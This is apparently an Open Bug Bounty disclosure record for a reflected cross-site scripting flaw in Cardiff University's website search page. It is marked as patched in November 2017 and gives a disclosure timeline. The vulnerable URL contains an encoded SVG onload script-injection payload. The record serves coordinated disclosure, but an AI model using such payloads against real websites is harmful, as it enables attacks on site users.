cardiff.ac.uk XSS vulnerability

2017-10-25T02:02:00
ID OBB:366038
Type openbugbounty
Reporter CoolCanuck
Modified 2017-11-24T12:02:00

Description

Vulnerable URL:
http://www.cardiff.ac.uk/search-beta?collection=website-meta&form;=globalsearch&query;=%22%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E
Details:

Description| Value
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Patched:| Yes, at 24.11.2017
Latest check for patch:| 24.11.2017 12:02 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 22933
VIP website status:| Yes

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 25 October, 2017 02:02 GMT
Generic security notifications sent to website owner| 25 October, 2017 02:05 GMT
Vulnerability details disclosed by researcher| 24 November, 2017 02:20 GMT
Vulnerability patched by the website owner| 24 November, 2017 12:02 GMT